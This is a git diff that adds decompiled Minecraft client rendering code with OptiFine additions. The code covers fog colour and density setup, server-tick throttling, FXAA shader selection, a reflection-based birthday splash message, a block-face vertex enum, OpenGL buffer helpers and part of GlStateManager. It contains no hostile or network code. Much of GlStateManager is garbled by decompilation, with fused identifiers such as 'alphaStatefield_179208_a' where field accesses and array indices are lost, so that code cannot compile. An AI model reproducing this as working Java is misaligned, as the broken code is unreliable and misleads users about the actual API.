+    float var13 = fogColor2 + (fogColor1 - fogColor2) * partialTicks;
+    field_175080_Q *= var13;
+    field_175082_R *= var13;
+    field_175081_S *= var13;
+    double fogYFactor1 = provider.getVoidFogYFactor();
+    double var23 = (lastTickPosY + (posY - lastTickPosY) * partialTicks) * fogYFactor1;
+    
+    if (((var3 instanceof EntityLivingBase)) && (((EntityLivingBase)var3).isPotionActive(Potion.blindness)))
+    {
+      int var24 = ((EntityLivingBase)var3).getActivePotionEffect(Potion.blindness).getDuration();
+      
+      if (var24 < 20)
+      {
+        var23 *= (1.0F - var24 / 20.0F);
+      }
+      else
+      {
+        var23 = 0.0D;
+      }
+    }
+    
+    if (var23 < 1.0D)
+    {
+      if (var23 < 0.0D)
+      {
+        var23 = 0.0D;
+      }
+      
+      var23 *= var23;
+      field_175080_Q = ((float)(field_175080_Q * var23));
+      field_175082_R = ((float)(field_175082_R * var23));
+      field_175081_S = ((float)(field_175081_S * var23));
+    }
+    
+
+
+    if (bossColorModifier > 0.0F)
+    {
+      float var241 = bossColorModifierPrev + (bossColorModifier - bossColorModifierPrev) * partialTicks;
+      field_175080_Q = (field_175080_Q * (1.0F - var241) + field_175080_Q * 0.7F * var241);
+      field_175082_R = (field_175082_R * (1.0F - var241) + field_175082_R * 0.6F * var241);
+      field_175081_S = (field_175081_S * (1.0F - var241) + field_175081_S * 0.6F * var241);
+    }
+    
+
+
+    if (((var3 instanceof EntityLivingBase)) && (((EntityLivingBase)var3).isPotionActive(Potion.nightVision)))
+    {
+      float var241 = func_180438_a((EntityLivingBase)var3, partialTicks);
+      float var17 = 1.0F / field_175080_Q;
+      
+      if (var17 > 1.0F / field_175082_R)
+      {
+        var17 = 1.0F / field_175082_R;
+      }
+      
+      if (var17 > 1.0F / field_175081_S)
+      {
+        var17 = 1.0F / field_175081_S;
+      }
+      
+      field_175080_Q = (field_175080_Q * (1.0F - var241) + field_175080_Q * var17 * var241);
+      field_175082_R = (field_175082_R * (1.0F - var241) + field_175082_R * var17 * var241);
+      field_175081_S = (field_175081_S * (1.0F - var241) + field_175081_S * var17 * var241);
+    }
+    
+    if (mc.gameSettings.anaglyph)
+    {
+      float var241 = (field_175080_Q * 30.0F + field_175082_R * 59.0F + field_175081_S * 11.0F) / 100.0F;
+      float var17 = (field_175080_Q * 30.0F + field_175082_R * 70.0F) / 100.0F;
+      float event = (field_175080_Q * 30.0F + field_175081_S * 70.0F) / 100.0F;
+      field_175080_Q = var241;
+      field_175082_R = var17;
+      field_175081_S = event;
+    }
+    
+    if (Reflector.EntityViewRenderEvent_FogColors_Constructor.exists())
+    {
+      Object event1 = Reflector.newInstance(Reflector.EntityViewRenderEvent_FogColors_Constructor, new Object[] { this, var3, var211, Float.valueOf(partialTicks), Float.valueOf(field_175080_Q), Float.valueOf(field_175082_R), Float.valueOf(field_175081_S) });
+      Reflector.postForgeBusEvent(event1);
+      field_175080_Q = Reflector.getFieldValueFloat(event1, Reflector.EntityViewRenderEvent_FogColors_red, field_175080_Q);
+      field_175082_R = Reflector.getFieldValueFloat(event1, Reflector.EntityViewRenderEvent_FogColors_green, field_175082_R);
+      field_175081_S = Reflector.getFieldValueFloat(event1, Reflector.EntityViewRenderEvent_FogColors_blue, field_175081_S);
+    }
+    
+    Shaders.setClearColor(field_175080_Q, field_175082_R, field_175081_S, 0.0F);
+  }
+  
+
+
+
+
+  private void setupFog(int p_78468_1_, float partialTicks)
+  {
+    Entity var3 = mc.func_175606_aa();
+    boolean var4 = false;
+    fogStandard = false;
+    
+    if ((var3 instanceof EntityPlayer))
+    {
+      var4 = capabilities.isCreativeMode;
+    }
+    
+    GL11.glFog(2918, setFogColorBuffer(field_175080_Q, field_175082_R, field_175081_S, 1.0F));
+    GL11.glNormal3f(0.0F, -1.0F, 0.0F);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    Block var5 = ActiveRenderInfo.func_180786_a(mc.theWorld, var3, partialTicks);
+    float forgeFogDensity = -1.0F;
+    
+    if (Reflector.ForgeHooksClient_getFogDensity.exists())
+    {
+      forgeFogDensity = Reflector.callFloat(Reflector.ForgeHooksClient_getFogDensity, new Object[] { this, var3, var5, Float.valueOf(partialTicks), Float.valueOf(0.1F) });
+    }
+    
+    if (forgeFogDensity >= 0.0F)
+    {
+      GlStateManager.setFogDensity(forgeFogDensity);
+
+
+
+
+    }
+    else if (((var3 instanceof EntityLivingBase)) && (((EntityLivingBase)var3).isPotionActive(Potion.blindness)))
+    {
+      float var6 = 5.0F;
+      int var7 = ((EntityLivingBase)var3).getActivePotionEffect(Potion.blindness).getDuration();
+      
+      if (var7 < 20)
+      {
+        var6 = 5.0F + (farPlaneDistance - 5.0F) * (1.0F - var7 / 20.0F);
+      }
+      
+      if (Config.isShaders())
+      {
+        Shaders.setFog(9729);
+      }
+      else
+      {
+        GlStateManager.setFog(9729);
+      }
+      
+      if (p_78468_1_ == -1)
+      {
+        GlStateManager.setFogStart(0.0F);
+        GlStateManager.setFogEnd(var6 * 0.8F);
+      }
+      else
+      {
+        GlStateManager.setFogStart(var6 * 0.25F);
+        GlStateManager.setFogEnd(var6);
+      }
+      
+      if ((getCapabilitiesGL_NV_fog_distance) && (Config.isFogFancy()))
+      {
+        GL11.glFogi(34138, 34139);
+      }
+    }
+    else if (cloudFog)
+    {
+      if (Config.isShaders())
+      {
+        Shaders.setFog(2048);
+      }
+      else
+      {
+        GlStateManager.setFog(2048);
+      }
+      
+      GlStateManager.setFogDensity(0.1F);
+    }
+    else if (var5.getMaterial() == Material.water)
+    {
+      if (Config.isShaders())
+      {
+        Shaders.setFog(2048);
+      }
+      else
+      {
+        GlStateManager.setFog(2048);
+      }
+      
+      if (((var3 instanceof EntityLivingBase)) && (((EntityLivingBase)var3).isPotionActive(Potion.waterBreathing)))
+      {
+        GlStateManager.setFogDensity(0.01F);
+      }
+      else
+      {
+        GlStateManager.setFogDensity(0.1F - EnchantmentHelper.func_180319_a(var3) * 0.03F);
+      }
+      
+      if (Config.isClearWater())
+      {
+        GlStateManager.setFogDensity(0.02F);
+      }
+    }
+    else if (var5.getMaterial() == Material.lava)
+    {
+      if (Config.isShaders())
+      {
+        Shaders.setFog(2048);
+      }
+      else
+      {
+        GlStateManager.setFog(2048);
+      }
+      
+      GlStateManager.setFogDensity(2.0F);
+    }
+    else
+    {
+      float var6 = farPlaneDistance;
+      fogStandard = true;
+      
+      if (Config.isShaders())
+      {
+        Shaders.setFog(9729);
+      }
+      else
+      {
+        GlStateManager.setFog(9729);
+      }
+      
+      if (p_78468_1_ == -1)
+      {
+        GlStateManager.setFogStart(0.0F);
+        GlStateManager.setFogEnd(var6);
+      }
+      else
+      {
+        GlStateManager.setFogStart(var6 * Config.getFogStart());
+        GlStateManager.setFogEnd(var6);
+      }
+      
+      if (getCapabilitiesGL_NV_fog_distance)
+      {
+        if (Config.isFogFancy())
+        {
+          GL11.glFogi(34138, 34139);
+        }
+        
+        if (Config.isFogFast())
+        {
+          GL11.glFogi(34138, 34140);
+        }
+      }
+      
+      if (mc.theWorld.provider.doesXZShowFog((int)posX, (int)posZ))
+      {
+        GlStateManager.setFogStart(var6 * 0.05F);
+        GlStateManager.setFogEnd(var6);
+      }
+      
+      if (Reflector.ForgeHooksClient_onFogRender.exists())
+      {
+        Reflector.callVoid(Reflector.ForgeHooksClient_onFogRender, new Object[] { this, var3, var5, Float.valueOf(partialTicks), Integer.valueOf(p_78468_1_), Float.valueOf(var6) });
+      }
+    }
+    
+
+    GlStateManager.enableColorMaterial();
+    GlStateManager.enableFog();
+    GlStateManager.colorMaterial(1028, 4608);
+  }
+  
+
+
+
+  private FloatBuffer setFogColorBuffer(float p_78469_1_, float p_78469_2_, float p_78469_3_, float p_78469_4_)
+  {
+    if (Config.isShaders())
+    {
+      Shaders.setFogColor(p_78469_1_, p_78469_2_, p_78469_3_);
+    }
+    
+    fogColorBuffer.clear();
+    fogColorBuffer.put(p_78469_1_).put(p_78469_2_).put(p_78469_3_).put(p_78469_4_);
+    fogColorBuffer.flip();
+    return fogColorBuffer;
+  }
+  
+  public MapItemRenderer getMapItemRenderer()
+  {
+    return theMapItemRenderer;
+  }
+  
+  private void waitForServerThread()
+  {
+    serverWaitTimeCurrent = 0;
+    
+    if ((Config.isSmoothWorld()) && (Config.isSingleProcessor()))
+    {
+      if (mc.isIntegratedServerRunning())
+      {
+        IntegratedServer srv = mc.getIntegratedServer();
+        
+        if (srv != null)
+        {
+          boolean paused = mc.isGamePaused();
+          
+          if ((!paused) && (!(mc.currentScreen instanceof GuiDownloadTerrain)))
+          {
+            if (serverWaitTime > 0)
+            {
+              Lagometer.timerServer.start();
+              Config.sleep(serverWaitTime);
+              Lagometer.timerServer.end();
+              serverWaitTimeCurrent = serverWaitTime;
+            }
+            
+            long timeNow = System.nanoTime() / 1000000L;
+            
+            if ((lastServerTime != 0L) && (lastServerTicks != 0))
+            {
+              long timeDiff = timeNow - lastServerTime;
+              
+              if (timeDiff < 0L)
+              {
+                lastServerTime = timeNow;
+                timeDiff = 0L;
+              }
+              
+              if (timeDiff >= 50L)
+              {
+                lastServerTime = timeNow;
+                int ticks = srv.getTickCounter();
+                int tickDiff = ticks - lastServerTicks;
+                
+                if (tickDiff < 0)
+                {
+                  lastServerTicks = ticks;
+                  tickDiff = 0;
+                }
+                
+                if ((tickDiff < 1) && (serverWaitTime < 100))
+                {
+                  serverWaitTime += 2;
+                }
+                
+                if ((tickDiff > 1) && (serverWaitTime > 0))
+                {
+                  serverWaitTime -= 1;
+                }
+                
+                lastServerTicks = ticks;
+              }
+            }
+            else
+            {
+              lastServerTime = timeNow;
+              lastServerTicks = srv.getTickCounter();
+              avgServerTickDiff = 1.0F;
+              avgServerTimeDiff = 50.0F;
+            }
+          }
+          else
+          {
+            if ((mc.currentScreen instanceof GuiDownloadTerrain))
+            {
+              Config.sleep(20L);
+            }
+            
+            lastServerTime = 0L;
+            lastServerTicks = 0;
+          }
+        }
+      }
+    }
+    else
+    {
+      lastServerTime = 0L;
+      lastServerTicks = 0;
+    }
+  }
+  
+  private void frameInit()
+  {
+    if (!initialized)
+    {
+      optifine.TextureUtils.registerResourceListener();
+      
+      if ((Config.getBitsOs() == 64) && (Config.getBitsJre() == 32))
+      {
+        Config.setNotify64BitJava(true);
+      }
+      
+      initialized = true;
+    }
+    
+    Config.checkDisplayMode();
+    WorldClient world = mc.theWorld;
+    
+    if (world != null)
+    {
+      if (Config.getNewRelease() != null)
+      {
+        String msg = "HD_U".replace("HD_U", "HD Ultra").replace("L", "Light");
+        String fullNewVer = msg + " " + Config.getNewRelease();
+        ChatComponentText msg1 = new ChatComponentText(I18n.format("of.message.newVersion", new Object[] { fullNewVer }));
+        mc.ingameGUI.getChatGUI().printChatMessage(msg1);
+        Config.setNewRelease(null);
+      }
+      
+      if (Config.isNotify64BitJava())
+      {
+        Config.setNotify64BitJava(false);
+        ChatComponentText msg2 = new ChatComponentText(I18n.format("of.message.java64Bit", new Object[0]));
+        mc.ingameGUI.getChatGUI().printChatMessage(msg2);
+      }
+    }
+    
+    if ((mc.currentScreen instanceof GuiMainMenu))
+    {
+      updateMainMenu((GuiMainMenu)mc.currentScreen);
+    }
+    
+    if (updatedWorld != world)
+    {
+      optifine.RandomMobs.worldChanged(updatedWorld, world);
+      Config.updateThreadPriorities();
+      lastServerTime = 0L;
+      lastServerTicks = 0;
+      updatedWorld = world;
+    }
+    
+    if (!setFxaaShader(Shaders.configAntialiasingLevel))
+    {
+      Shaders.configAntialiasingLevel = 0;
+    }
+  }
+  
+  private void frameFinish()
+  {
+    if (mc.theWorld != null)
+    {
+      long now = System.currentTimeMillis();
+      
+      if (now > lastErrorCheckTimeMs + 10000L)
+      {
+        lastErrorCheckTimeMs = now;
+        int err = GL11.glGetError();
+        
+        if (err != 0)
+        {
+          String text = org.lwjgl.util.glu.GLU.gluErrorString(err);
+          ChatComponentText msg = new ChatComponentText(I18n.format("of.message.openglError", new Object[] { Integer.valueOf(err), text }));
+          mc.ingameGUI.getChatGUI().printChatMessage(msg);
+        }
+      }
+    }
+  }
+  
+  private void updateMainMenu(GuiMainMenu mainGui)
+  {
+    try
+    {
+      String e = null;
+      Calendar calendar = Calendar.getInstance();
+      calendar.setTime(new java.util.Date());
+      int day = calendar.get(5);
+      int month = calendar.get(2) + 1;
+      
+      if ((day == 8) && (month == 4))
+      {
+        e = "Happy birthday, OptiFine!";
+      }
+      
+      if ((day == 14) && (month == 8))
+      {
+        e = "Happy birthday, sp614x!";
+      }
+      
+      if (e == null)
+      {
+        return;
+      }
+      
+      Field[] fs = GuiMainMenu.class.getDeclaredFields();
+      
+      for (int i = 0; i < fs.length; i++)
+      {
+        if (fs[i].getType() == String.class)
+        {
+          fs[i].setAccessible(true);
+          fs[i].set(mainGui, e);
+          break;
+        }
+      }
+    }
+    catch (Throwable localThrowable) {}
+  }
+  
+
+
+
+  public boolean setFxaaShader(int fxaaLevel)
+  {
+    if (!OpenGlHelper.isFramebufferEnabled())
+    {
+      return false;
+    }
+    if ((theShaderGroup != null) && (theShaderGroup != fxaaShaders[2]) && (theShaderGroup != fxaaShaders[4]))
+    {
+      return true;
+    }
+    if ((fxaaLevel != 2) && (fxaaLevel != 4))
+    {
+      if (theShaderGroup == null)
+      {
+        return true;
+      }
+      
+
+      theShaderGroup.deleteShaderGroup();
+      theShaderGroup = null;
+      return true;
+    }
+    
+    if ((theShaderGroup != null) && (theShaderGroup == fxaaShaders[fxaaLevel]))
+    {
+      return true;
+    }
+    if (mc.theWorld == null)
+    {
+      return true;
+    }
+    
+
+    func_175069_a(new ResourceLocation("shaders/post/fxaa_of_" + fxaaLevel + "x.json"));
+    fxaaShaders[fxaaLevel] = theShaderGroup;
+    return field_175083_ad;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/EnumFaceing.java b/src/minecraft/net/minecraft/client/renderer/EnumFaceing.java
new file mode 100644
index 0000000..b7e11ad
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/EnumFaceing.java
@@ -0,0 +1,94 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.util.EnumFacing;
+
+public enum EnumFaceing
+{
+  DOWN("DOWN", 0, new VertexInformation[] { new VertexInformation(Constants.field_179176_f, Constants.field_179178_e, Constants.field_179181_a, null), new VertexInformation(Constants.field_179176_f, Constants.field_179178_e, Constants.field_179177_d, null), new VertexInformation(Constants.field_179180_c, Constants.field_179178_e, Constants.field_179177_d, null), new VertexInformation(Constants.field_179180_c, Constants.field_179178_e, Constants.field_179181_a, null) }), 
+  UP("UP", 1, new VertexInformation[] { new VertexInformation(Constants.field_179176_f, Constants.field_179179_b, Constants.field_179177_d, null), new VertexInformation(Constants.field_179176_f, Constants.field_179179_b, Constants.field_179181_a, null), new VertexInformation(Constants.field_179180_c, Constants.field_179179_b, Constants.field_179181_a, null), new VertexInformation(Constants.field_179180_c, Constants.field_179179_b, Constants.field_179177_d, null) }), 
+  NORTH("NORTH", 2, new VertexInformation[] { new VertexInformation(Constants.field_179180_c, Constants.field_179179_b, Constants.field_179177_d, null), new VertexInformation(Constants.field_179180_c, Constants.field_179178_e, Constants.field_179177_d, null), new VertexInformation(Constants.field_179176_f, Constants.field_179178_e, Constants.field_179177_d, null), new VertexInformation(Constants.field_179176_f, Constants.field_179179_b, Constants.field_179177_d, null) }), 
+  SOUTH("SOUTH", 3, new VertexInformation[] { new VertexInformation(Constants.field_179176_f, Constants.field_179179_b, Constants.field_179181_a, null), new VertexInformation(Constants.field_179176_f, Constants.field_179178_e, Constants.field_179181_a, null), new VertexInformation(Constants.field_179180_c, Constants.field_179178_e, Constants.field_179181_a, null), new VertexInformation(Constants.field_179180_c, Constants.field_179179_b, Constants.field_179181_a, null) }), 
+  WEST("WEST", 4, new VertexInformation[] { new VertexInformation(Constants.field_179176_f, Constants.field_179179_b, Constants.field_179177_d, null), new VertexInformation(Constants.field_179176_f, Constants.field_179178_e, Constants.field_179177_d, null), new VertexInformation(Constants.field_179176_f, Constants.field_179178_e, Constants.field_179181_a, null), new VertexInformation(Constants.field_179176_f, Constants.field_179179_b, Constants.field_179181_a, null) }), 
+  EAST("EAST", 5, new VertexInformation[] { new VertexInformation(Constants.field_179180_c, Constants.field_179179_b, Constants.field_179181_a, null), new VertexInformation(Constants.field_179180_c, Constants.field_179178_e, Constants.field_179181_a, null), new VertexInformation(Constants.field_179180_c, Constants.field_179178_e, Constants.field_179177_d, null), new VertexInformation(Constants.field_179180_c, Constants.field_179179_b, Constants.field_179177_d, null) });
+  
+  private static final EnumFaceing[] field_179029_g;
+  private final VertexInformation[] field_179035_h;
+  private static final EnumFaceing[] $VALUES;
+  private static final String __OBFID = "CL_00002562";
+  
+  public static EnumFaceing func_179027_a(EnumFacing p_179027_0_)
+  {
+    return field_179029_g[p_179027_0_.getIndex()];
+  }
+  
+  private EnumFaceing(String p_i46272_1_, int p_i46272_2_, VertexInformation... p_i46272_3_)
+  {
+    field_179035_h = p_i46272_3_;
+  }
+  
+  public VertexInformation func_179025_a(int p_179025_1_)
+  {
+    return field_179035_h[p_179025_1_];
+  }
+  
+  static
+  {
+    field_179029_g = new EnumFaceing[6];
+    
+
+    $VALUES = new EnumFaceing[] { DOWN, UP, NORTH, SOUTH, WEST, EAST };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    field_179029_g[Constants.field_179178_e] = DOWN;
+    field_179029_g[Constants.field_179179_b] = UP;
+    field_179029_g[Constants.field_179177_d] = NORTH;
+    field_179029_g[Constants.field_179181_a] = SOUTH;
+    field_179029_g[Constants.field_179176_f] = WEST;
+    field_179029_g[Constants.field_179180_c] = EAST;
+  }
+  
+  public static final class Constants {
+    public static final int field_179181_a = EnumFacing.SOUTH.getIndex();
+    public static final int field_179179_b = EnumFacing.UP.getIndex();
+    public static final int field_179180_c = EnumFacing.EAST.getIndex();
+    public static final int field_179177_d = EnumFacing.NORTH.getIndex();
+    public static final int field_179178_e = EnumFacing.DOWN.getIndex();
+    public static final int field_179176_f = EnumFacing.WEST.getIndex();
+    private static final String __OBFID = "CL_00002560";
+    
+    public Constants() {}
+  }
+  
+  public static class VertexInformation {
+    public final int field_179184_a;
+    public final int field_179182_b;
+    public final int field_179183_c;
+    private static final String __OBFID = "CL_00002559";
+    
+    private VertexInformation(int p_i46270_1_, int p_i46270_2_, int p_i46270_3_) { field_179184_a = p_i46270_1_;
+      field_179182_b = p_i46270_2_;
+      field_179183_c = p_i46270_3_;
+    }
+    
+    VertexInformation(int p_i46271_1_, int p_i46271_2_, int p_i46271_3_, Object p_i46271_4_)
+    {
+      this(p_i46271_1_, p_i46271_2_, p_i46271_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/GLAllocation.java b/src/minecraft/net/minecraft/client/renderer/GLAllocation.java
new file mode 100644
index 0000000..2385897
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/GLAllocation.java
@@ -0,0 +1,73 @@
+package net.minecraft.client.renderer;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.util.glu.GLU;
+
+
+public class GLAllocation
+{
+  private static final String __OBFID = "CL_00000630";
+  
+  public GLAllocation() {}
+  
+  public static synchronized int generateDisplayLists(int p_74526_0_)
+  {
+    int var1 = GL11.glGenLists(p_74526_0_);
+    
+    if (var1 == 0)
+    {
+      int var2 = GL11.glGetError();
+      String var3 = "No error code reported";
+      
+      if (var2 != 0)
+      {
+        var3 = GLU.gluErrorString(var2);
+      }
+      
+      throw new IllegalStateException("glGenLists returned an ID of 0 for a count of " + p_74526_0_ + ", GL error (" + var2 + "): " + var3);
+    }
+    
+
+    return var1;
+  }
+  
+
+  public static synchronized void func_178874_a(int p_178874_0_, int p_178874_1_)
+  {
+    GL11.glDeleteLists(p_178874_0_, p_178874_1_);
+  }
+  
+  public static synchronized void deleteDisplayLists(int p_74523_0_)
+  {
+    GL11.glDeleteLists(p_74523_0_, 1);
+  }
+  
+
+
+
+  public static synchronized ByteBuffer createDirectByteBuffer(int p_74524_0_)
+  {
+    return ByteBuffer.allocateDirect(p_74524_0_).order(ByteOrder.nativeOrder());
+  }
+  
+
+
+
+  public static IntBuffer createDirectIntBuffer(int p_74527_0_)
+  {
+    return createDirectByteBuffer(p_74527_0_ << 2).asIntBuffer();
+  }
+  
+
+
+
+
+  public static FloatBuffer createDirectFloatBuffer(int p_74529_0_)
+  {
+    return createDirectByteBuffer(p_74529_0_ << 2).asFloatBuffer();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/GlStateManager.java b/src/minecraft/net/minecraft/client/renderer/GlStateManager.java
new file mode 100644
index 0000000..8b95ffe
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/GlStateManager.java
@@ -0,0 +1,1047 @@
+package net.minecraft.client.renderer;
+
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import optifine.Config;
+import org.lwjgl.opengl.GL11;
+
+
+
+
+public class GlStateManager
+{
+  private static AlphaState alphaState = new AlphaState(null);
+  private static BooleanState lightingState = new BooleanState(2896);
+  private static BooleanState[] field_179159_c = new BooleanState[8];
+  private static ColorMaterialState colorMaterialState = new ColorMaterialState(null);
+  private static BlendState blendState = new BlendState(null);
+  private static DepthState depthState = new DepthState(null);
+  private static FogState fogState = new FogState(null);
+  private static CullState cullState = new CullState(null);
+  private static PolygonOffsetState polygonOffsetState = new PolygonOffsetState(null);
+  private static ColorLogicState colorLogicState = new ColorLogicState(null);
+  private static TexGenState texGenState = new TexGenState(null);
+  private static ClearState clearState = new ClearState(null);
+  private static StencilState stencilState = new StencilState(null);
+  private static BooleanState normalizeState = new BooleanState(2977);
+  private static int field_179162_o = 0;
+  private static TextureState[] field_179174_p = new TextureState[32];
+  private static int field_179173_q = 7425;
+  private static BooleanState rescaleNormalState = new BooleanState(32826);
+  private static ColorMask colorMaskState = new ColorMask(null);
+  private static Color colorState = new Color();
+  private static Viewport field_179169_u = new Viewport(null);
+  private static final String __OBFID = "CL_00002558";
+  public static boolean clearEnabled = true;
+  
+  public static void pushAttrib()
+  {
+    GL11.glPushAttrib(8256);
+  }
+  
+
+
+
+
+
+  public static void disableAlpha()
+  {
+    alphaStatefield_179208_a.setDisabled();
+  }
+  
+  public static void enableAlpha()
+  {
+    alphaStatefield_179208_a.setEnabled();
+  }
+  
+  public static void alphaFunc(int p_179092_0_, float p_179092_1_)
+  {
+    if ((p_179092_0_ != alphaStatefield_179206_b) || (p_179092_1_ != alphaStatefield_179207_c))
+    {
+      alphaStatefield_179206_b = p_179092_0_;
+      alphaStatefield_179207_c = p_179092_1_;
+      GL11.glAlphaFunc(p_179092_0_, p_179092_1_);
+    }
+  }
+  
+  public static void enableTexture2D() {
+    field_179174_pfield_179162_ofield_179060_a.setEnabled();
+  }
+  
+  public static void disableTexture2D() {
+    field_179174_pfield_179162_ofield_179060_a.setDisabled();
+  }
+  
+  public static void enableLighting()
+  {
+    lightingState.setEnabled();
+  }
+  
+  public static void disableLighting()
+  {
+    lightingState.setDisabled();
+  }
+  
+  public static void enableBooleanStateAt(int p_179085_0_)
+  {
+    field_179159_c[p_179085_0_].setEnabled();
+  }
+  
+  public static void disableBooleanStateAt(int p_179122_0_)
+  {
+    field_179159_c[p_179122_0_].setDisabled();
+  }
+  
+  public static void enableColorMaterial()
+  {
+    colorMaterialStatefield_179191_a.setEnabled();
+  }
+  
+  public static void disableColorMaterial()
+  {
+    colorMaterialStatefield_179191_a.setDisabled();
+  }
+  
+  public static void colorMaterial(int p_179104_0_, int p_179104_1_)
+  {
+    if ((p_179104_0_ != colorMaterialStatefield_179189_b) || (p_179104_1_ != colorMaterialStatefield_179190_c))
+    {
+      colorMaterialStatefield_179189_b = p_179104_0_;
+      colorMaterialStatefield_179190_c = p_179104_1_;
+      GL11.glColorMaterial(p_179104_0_, p_179104_1_);
+    }
+  }
+  
+  public static void disableDepth()
+  {
+    depthStatefield_179052_a.setDisabled();
+  }
+  
+  public static void enableDepth()
+  {
+    depthStatefield_179052_a.setEnabled();
+  }
+  
+  public static void depthFunc(int p_179143_0_)
+  {
+    if (p_179143_0_ != depthStatefield_179051_c)
+    {
+      depthStatefield_179051_c = p_179143_0_;
+      GL11.glDepthFunc(p_179143_0_);
+    }
+  }
+  
+  public static void depthMask(boolean p_179132_0_)
+  {
+    if (p_179132_0_ != depthStatefield_179050_b)
+    {
+      depthStatefield_179050_b = p_179132_0_;
+      GL11.glDepthMask(p_179132_0_);
+    }
+  }
+  
+  public static void disableBlend()
+  {
+    blendStatefield_179213_a.setDisabled();
+  }
+  
+  public static void enableBlend()
+  {
+    blendStatefield_179213_a.setEnabled();
+  }
+  
+  public static void blendFunc(int p_179112_0_, int p_179112_1_)
+  {
+    if ((p_179112_0_ != blendStatefield_179211_b) || (p_179112_1_ != blendStatefield_179212_c))
+    {
+      blendStatefield_179211_b = p_179112_0_;
+      blendStatefield_179212_c = p_179112_1_;
+      GL11.glBlendFunc(p_179112_0_, p_179112_1_);
+    }
+  }
+  
+  public static void tryBlendFuncSeparate(int p_179120_0_, int p_179120_1_, int p_179120_2_, int p_179120_3_)
+  {
+    if ((p_179120_0_ != blendStatefield_179211_b) || (p_179120_1_ != blendStatefield_179212_c) || (p_179120_2_ != blendStatefield_179209_d) || (p_179120_3_ != blendStatefield_179210_e))
+    {
+      blendStatefield_179211_b = p_179120_0_;
+      blendStatefield_179212_c = p_179120_1_;
+      blendStatefield_179209_d = p_179120_2_;
+      blendStatefield_179210_e = p_179120_3_;
+      OpenGlHelper.glBlendFunc(p_179120_0_, p_179120_1_, p_179120_2_, p_179120_3_);
+    }
+  }
+  
+  public static void enableFog()
+  {
+    fogStatefield_179049_a.setEnabled();
+  }
+  
+  public static void disableFog()
+  {
+    fogStatefield_179049_a.setDisabled();
+  }
+  
+  public static void setFog(int p_179093_0_)
+  {
+    if (p_179093_0_ != fogStatefield_179047_b)
+    {
+      fogStatefield_179047_b = p_179093_0_;
+      GL11.glFogi(2917, p_179093_0_);
+    }
+  }
+  
+  public static void setFogDensity(float p_179095_0_)
+  {
+    if (p_179095_0_ != fogStatefield_179048_c)
+    {
+      fogStatefield_179048_c = p_179095_0_;
+      GL11.glFogf(2914, p_179095_0_);
+    }
+  }
+  
+  public static void setFogStart(float p_179102_0_)
+  {
+    if (p_179102_0_ != fogStatefield_179045_d)
+    {
+      fogStatefield_179045_d = p_179102_0_;
+      GL11.glFogf(2915, p_179102_0_);
+    }
+  }
+  
+  public static void setFogEnd(float p_179153_0_)
+  {
+    if (p_179153_0_ != fogStatefield_179046_e)
+    {
+      fogStatefield_179046_e = p_179153_0_;
+      GL11.glFogf(2916, p_179153_0_);
+    }
+  }
+  
+  public static void enableCull()
+  {
+    cullStatefield_179054_a.setEnabled();
+  }
+  
+  public static void disableCull()
+  {
+    cullStatefield_179054_a.setDisabled();
+  }
+  
+  public static void cullFace(int p_179107_0_)
+  {
+    if (p_179107_0_ != cullStatefield_179053_b)
+    {
+      cullStatefield_179053_b = p_179107_0_;
+      GL11.glCullFace(p_179107_0_);
+    }
+  }
+  
+  public static void enablePolygonOffset()
+  {
+    polygonOffsetStatefield_179044_a.setEnabled();
+  }
+  
+  public static void disablePolygonOffset()
+  {
+    polygonOffsetStatefield_179044_a.setDisabled();
+  }
+  
+  public static void doPolygonOffset(float p_179136_0_, float p_179136_1_)
+  {
+    if ((p_179136_0_ != polygonOffsetStatefield_179043_c) || (p_179136_1_ != polygonOffsetStatefield_179041_d))
+    {
+      polygonOffsetStatefield_179043_c = p_179136_0_;
+      polygonOffsetStatefield_179041_d = p_179136_1_;
+      GL11.glPolygonOffset(p_179136_0_, p_179136_1_);
+    }
+  }
+  
+  public static void enableColorLogic()
+  {
+    colorLogicStatefield_179197_a.setEnabled();
+  }
+  
+  public static void disableColorLogic()
+  {
+    colorLogicStatefield_179197_a.setDisabled();
+  }
+  
+  public static void colorLogicOp(int p_179116_0_)
+  {
+    if (p_179116_0_ != colorLogicStatefield_179196_b)
+    {
+      colorLogicStatefield_179196_b = p_179116_0_;
+      GL11.glLogicOp(p_179116_0_);
+    }
+  }
+  
+  public static void enableTexGenCoord(TexGen p_179087_0_)
+  {
+    texGenCoordfield_179067_a.setEnabled();
+  }
+  
+  public static void disableTexGenCoord(TexGen p_179100_0_)
+  {
+    texGenCoordfield_179067_a.setDisabled();
+  }
+  
+  public static void texGen(TexGen p_179149_0_, int p_179149_1_)
+  {
+    TexGenCoord var2 = texGenCoord(p_179149_0_);
+    
+    if (p_179149_1_ != field_179066_c)
+    {
+      field_179066_c = p_179149_1_;
+      GL11.glTexGeni(field_179065_b, 9472, p_179149_1_);
+    }
+  }
+  
+  public static void func_179105_a(TexGen p_179105_0_, int p_179105_1_, FloatBuffer p_179105_2_)
+  {
+    GL11.glTexGen(texGenCoordfield_179065_b, p_179105_1_, p_179105_2_);
+  }
+  
+  private static TexGenCoord texGenCoord(TexGen p_179125_0_)
+  {
+    switch (SwitchTexGen.field_179175_a[p_179125_0_.ordinal()])
+    {
+    case 1: 
+      return texGenStatefield_179064_a;
+    
+    case 2: 
+      return texGenStatefield_179062_b;
+    
+    case 3: 
+      return texGenStatefield_179063_c;
+    
+    case 4: 
+      return texGenStatefield_179061_d;
+    }
+    
+    return texGenStatefield_179064_a;
+  }
+  
+
+  public static void setActiveTexture(int p_179138_0_)
+  {
+    if (field_179162_o != p_179138_0_ - OpenGlHelper.defaultTexUnit)
+    {
+      field_179162_o = p_179138_0_ - OpenGlHelper.defaultTexUnit;
+      OpenGlHelper.setActiveTexture(p_179138_0_);
+    }
+  }
+  
